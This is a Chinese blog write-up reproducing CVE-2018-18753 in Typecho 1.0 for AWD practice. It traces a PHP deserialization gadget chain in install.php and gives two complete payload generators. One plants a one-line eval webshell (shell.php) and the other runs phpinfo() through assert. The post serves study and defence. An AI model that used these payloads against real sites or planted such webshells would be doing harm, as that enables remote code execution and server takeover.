目录

  1. 1. 前言
  2. 2. 环境搭建
    1. 2.1. Typecho下载
    2. 2.2. 创建数据库
    3. 2.3. 导入
    4. 2.4. 安装
  3. 3. 漏洞复现
    1. 3.1. 概述
    2. 3.2. 分析
    3. 3.3. 利用
  4. 4. payload1
  5. 5. payload2
  6. 6. 后日谈

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

CVE-2018-18753 Typecho 漏洞

2023/7/8 Web CMS CVE 反序列化
  |     |   总文章阅读量:

前言

NSS AWD(二)遇到了这个模板的漏洞,这里直接挑最主要的CVE漏洞来复现

参考csdn的文章

参考博客

环境搭建

在PHPstudy上运行

PHP = 5.6.9

Typecho下载

影响版本:Typecho1.0-14.10.10

下载链接:https://github.com/typecho/typecho/releases/tag/v1.0-14.10.10-release


创建数据库

image-20230708225227879


导入

将下载的文件解压到PHPstudy中,创建网站

image-20230708230443677


安装

访问对应的网址

image-20230708230517196

然后初始化配置中数据库配置对应前面创建的数据库即可

再次访问网站,此时就已经配置好了

image-20230708230830547


漏洞复现

概述

前台 install.php 文件存在反序列化漏洞,通过构造的反序列化字符串注入可以执行任意 PHP 代码

分析

直接看install.php

搜索unserialize找到对应漏洞源码,反序列化的入口

<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>
  1. 首先,这里将 Typecho_cookie::get()方法的值 base64 解码 再反序列化回来赋值给 $config

    而且可以发现__typecho_config参数是可控的

    然后全局搜索Typecho_cookie方法

    image-20230708232315677

    /var/Typecho/Cookie.php找到Typecho_cookie

    看到get方法

    /**
      * 获取指定的COOKIE值
      *
      * @access public
      * @param string $key 指定的参数
      * @param string $default 默认的参数
      * @return mixed
      */
     public static function get($key, $default = NULL)
     {
         $key = self::$_prefix . $key;
         $value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
         return is_array($value) ? $default : $value;
     }

    可以看到这里对 POST 或者 Cookie 传入的__typecho_config 变量进行一个反序列化,并且不能为数组

  2. 再回到 install.php 中继续分析,对于Typecho_Cookie::delete('__typecho_config');

    Typecho_Cookie::delete() 方法用于删除指定的 cookie 值

    /**
         * 删除指定的COOKIE值
         *
         * @access public
         * @param string $key 指定的参数
         * @return void
         */
        public static function delete($key)
        {
            $key = self::$_prefix . $key;
            if (!isset($_COOKIE[$key])) {
                return;
            }
    
            setcookie($key, '', time() - 2592000, self::$_path);
            unset($_COOKIE[$key]);
        }
  3. 接下来 new 了一个 Typecho_Db 的新对象$db,将 $config 中的 adapter 和 prefix 的值传入

    全局搜索定位类 Typecho_Db,定位到文件 /var/Typecho/Db.php

    image-20230708233903834

    来到__construct() 魔术方法中

    public function __construct($adapterName, $prefix = 'typecho_')
        {
            /** 获取适配器名称 */
            $this->_adapterName = $adapterName;
    
            /** 数据库适配器 */
            $adapterName = 'Typecho_Db_Adapter_' . $adapterName;
    
            if (!call_user_func(array($adapterName, 'isAvailable'))) {
                throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
            }
    
            $this->_prefix = $prefix;
    
            /** 初始化内部变量 */
            $this->_pool = array();
            $this->_connectedPool = array();
            $this->_config = array();
    
            //实例化适配器对象
            $this->_adapter = new $adapterName();
        }

    发现这里将对象 $adapterName 直接拼接在一串字符串后面,那就是当作字符串处理了,也就是说会触发 __toString 魔术方法

  4. 全局搜索 __toString()

    /var/Typecho/Feed.php中找到有用信息,直接看有用的部分

    image-20230708234844394

        /**
         * 所有的items
         *
         * @access private
         * @var array
         */
        private $_items = array();
    
    	......
            
    	/**
         * 输出字符串
         *
         * @access public
         * @return string
         */
        public function __construct($version, $type = self::RSS2, $charset = 'UTF-8', $lang = 'en')
        {
            $this->_version = $version;
            $this->_type = $type;
            $this->_charset = $charset;
            $this->_lang = $lang;
        }
    	......
        public function __toString()
        {
                foreach ($this->_items as $item) {
                    $content .= '<item>' . self::EOL;
                    $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
                    $content .= '<link>' . $item['link'] . '</link>' . self::EOL;
                    $content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
                    $content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
                    $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
    
                    if (!empty($item['category']) && is_array($item['category'])) {
                        foreach ($item['category'] as $category) {
                            $content .= '<category><![CDATA[' . $category['name'] . ']]></category>' . self::EOL;
                        }
                    }
    
    			......
    
                $content = '';
                $lastUpdate = 0;
    
                foreach ($this->_items as $item) {
                    $content .= '<entry>' . self::EOL;
                    $content .= '<title type="html"><![CDATA[' . $item['title'] . ']]></title>' . self::EOL;
                    $content .= '<link rel="alternate" type="text/html" href="' . $item['link'] . '" />' . self::EOL;
                    $content .= '<id>' . $item['link'] . '</id>' . self::EOL;
                    $content .= '<updated>' . $this->dateFormat($item['date']) . '</updated>' . self::EOL;
                    $content .= '<published>' . $this->dateFormat($item['date']) . '</published>' . self::EOL;
                    $content .= '<author>
        <name>' . $item['author']->screenName . '</name>
        <uri>' . $item['author']->url . '</uri>
    </author>' . self::EOL;
    
                    if (!empty($item['category']) && is_array($item['category'])) {
                        foreach ($item['category'] as $category) {
                            $content .= '<category scheme="' . $category['permalink'] . '" term="' . $category['name'] . '" />' . self::EOL;
                        }
                    }
    
                    ......
                }
    
                $result .= '<title type="text">' . htmlspecialchars($this->_title) . '</title>
    <subtitle type="text">' . htmlspecialchars($this->_subTitle) . '</subtitle>
    <updated>' . $this->dateFormat($lastUpdate) . '</updated>
    <generator uri="http://typecho.org/" version="' . $this->_version . '">Typecho</generator>
    <link rel="alternate" type="text/html" href="' . $this->_baseUrl . '" />
    <id>' . $this->_feedUrl . '</id>
    <link rel="self" type="application/atom+xml" href="' . $this->_feedUrl . '" />
    ';
                $result .= $content . '</feed>';
            }
    
            return $result;
        }

    发现使用了 $item['author']->screenName,而这个$item$this->_items 里面循环出来的,将 $item['author'] 赋值为一个对象,而被私有属性$_item指向的screenName也是私有的

    那么对象中的 screenName 不可访问的时候(私有或者不存在)就会调用__get() 魔术方法

  5. 全局搜索 function __get()魔术方法,定位到文件 /var/Typecho/Request.php

    image-20230708235956363

    /**
     * 获取实际传递参数(magic)
     *
     * @access public
     * @param string $key 指定参数
     * @return mixed
     */
    public function __get($key)
    {
        return $this->get($key);
    }
  6. 跟进到get()方法

    /**
     * 获取实际传递参数
     *
     * @access public
     * @param string $key 指定参数
     * @param mixed $default 默认参数 (default: NULL)
     * @return mixed
     */
    public function get($key, $default = NULL)
    {
        switch (true) {
            case isset($this->_params[$key]):
                $value = $this->_params[$key];
                break;
            case isset(self::$_httpParams[$key]):
                $value = self::$_httpParams[$key];
                break;
            default:
                $value = $default;
                break;
        }
         
        $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
        return $this->_applyFilter($value);
    }

    发现最后调用了_applyFilter方法

  7. 跟进到_applyFilter方法

    private function _applyFilter($value)
        {
            if ($this->_filter) {
                foreach ($this->_filter as $filter) {
                    $value = is_array($value) ? array_map($filter, $value) :
                    call_user_func($filter, $value);
                }
    
                $this->_filter = array();
            }
    
            return $value;
        }

    发现存在敏感函数 call_user_func(),而且里面的两个参数都是$filter$this->_filter 循环出来的 ,$value 则是由上面的 get() 函数中传参进来的,两个参数都是可控的,可以构造 $filter 为 system , $value 为 whoami,就可以命令执行了

利用

直接看核心部分的php代码

<?php if (isset($_GET['finish'])) : ?>
                <?php if (!@file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php')) : ?>
                <?php elseif (!Typecho_Cookie::get('__typecho_config')): ?>
                <?php else : ?>
                    <?php
                    $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
                    Typecho_Cookie::delete('__typecho_config');
                    $db = new Typecho_Db($config['adapter'], $config['prefix']);
                    $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
                    Typecho_Db::set($db);
                    ?>

根据上文的分析反序列化漏洞 存在于 install.php 文件的安装程序中,

要正确执行安装程序需要两个参数,第一个参数就是通过 GET 传参一个 finish 赋一个任意值,第二个就是 _typecho_config参数

而这个_typecho_config 参数这个参数就是我们反序列化漏洞利用的重点

我们构造一个序列化后的字符串 POC ,POST或者Cookie传参赋给 _typecho_config 参数,配合上文漏洞分析最后 1 步分析出的 敏感函数 call_user_func() 就可以达到命令执行的效果

接下来是构造思路:

  1. Typecho_Db::set($db); –> __construct() –> $adapterName(拼接到字符串中) –> __toString –> $item['author']->screenName(screenName 不可访问) –> __get() –> get() –>_applyFilter –> call_user_func()(两个参数可控)

  2. $filter 是 class Typecho_Request 的私有属性,

        /**
         * 当前过滤器
         *
         * @access private
         * @var array
         */
        private $_filter = array();
    ...
        foreach ($this->_filter as $filter)

    $item['author'] 也就是 $this->_items 即 class Typecho_Feed 的 私有属性 $_items

    /**
     * 所有的items
     *
     * @access private
     * @var array
     */
    private $_items = array();

    但是漏洞利用在 class Typecho_Request 中,$item['author'] 是对象时,要保证访问私有属性 screenName 调用的 __get()魔术方法是 class Typecho_Feed ,才能实现最终利用 敏感函数 call_user_func() 执行命令

    要解决这个,我们只要在 class Typecho_Feed 中 __construct()魔术方法中 new 一个 class Typecho_Request 的对象

  3. 为了绕过 敏感函数 call_user_func() 中的 is_array, class Typecho_Request 中私有属性的数据结构需要都是 array

  4. $db 对象新建时传入了两个参数 $config['adapter']$config['prefix'],对象新建是首先会调用 __construct() 魔术方法,联系起来,$config['adapter']=new Typecho_Feed() 即可全部串起来

payload1

此payload无回显,建议直接写马

<?php
class Typecho_Request{
    private $_params= array('screenName'=> "file_put_contents('shell.php', '<?php eval(\$_POST[z]);//?>')");
    private $_filter= array('assert');
}
class Typecho_Feed{
    private $_items=array();
    private $_type='ATOM 1.0';
    public function __construct()
    {
        $items['author']=new Typecho_Request();
        $this->_items[0]=$items;
    }
}
$config['adapter'] = new Typecho_Feed();
$config['prefix'] = 'typecho';	// 值是任意的
$payload = base64_encode(serialize($config));
echo $payload;
?>

传入参数,成功写入一句话木马shell.php

image-20230709182315269

image-20230709182413456

payload2

<?php
class Typecho_Feed
{
        const RSS1 = 'RSS 1.0';
        const RSS2 = 'RSS 2.0';
        const ATOM1 = 'ATOM 1.0';
        const DATE_RFC822 = 'r';
        const DATE_W3CDTF = 'c';
        const EOL = "\n";
        private $_type;
        private $_items;

        public function __construct() {
                $this->_type = $this::RSS2;
                #$this->_type = $this::ATOM1;
                $this->_items[0] = array(
                        'category' => array(new Typecho_Request()),
                        'author' => new Typecho_Request(),
                );
        }
}
class Typecho_Request
{
        private $_params = array();
        private $_filter = array();

        public function __construct() {
                $this->_params['screenName'] = "phpinfo()"; //此处修改需要执行的代码
                $this->_filter[0] = 'assert';
        }
}

$exp = array(
        'adapter' => new Typecho_Feed(),
        'prefix'  => 'typecho_'
);

echo base64_encode(serialize($exp));
?>

传入参数,成功执行phpinfo()

image-20230709181630009


后日谈

这算是本人第一次走了一遍cms-cve的复现流程,感觉真的好难555

不过也是为了以后能够自主挖洞做的一点准备(

payload1和payload2的区别就在于有没有多传一个category,两种方法会导致有无回显的差别

突然意识到在awd的时候我们只需要改掉传参的参数名就可以避免这个漏洞被利用(